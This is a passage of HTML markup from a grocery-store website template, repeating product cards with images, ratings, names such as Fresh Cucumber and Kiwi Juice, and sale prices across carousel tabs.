                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/11.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/11.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/14.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/14.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/15.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/15.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Orange</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/16.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/16.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Kiwi Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab3" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/17.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/17.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Red Beet</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/18.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/18.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Spring Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/19.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/19.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Tomato</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/20.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/20.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Watermelon</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/7.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/7.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Tangerin Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/8.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/8.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Pine Apple</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/1.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/1.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Grapes</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/2.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/2.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Banana</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab4" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/14.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/14.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/15.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/15.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Orange</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/12.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/12.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Strawberry Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/13.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/13.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Green Pee's</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/11.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/11.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
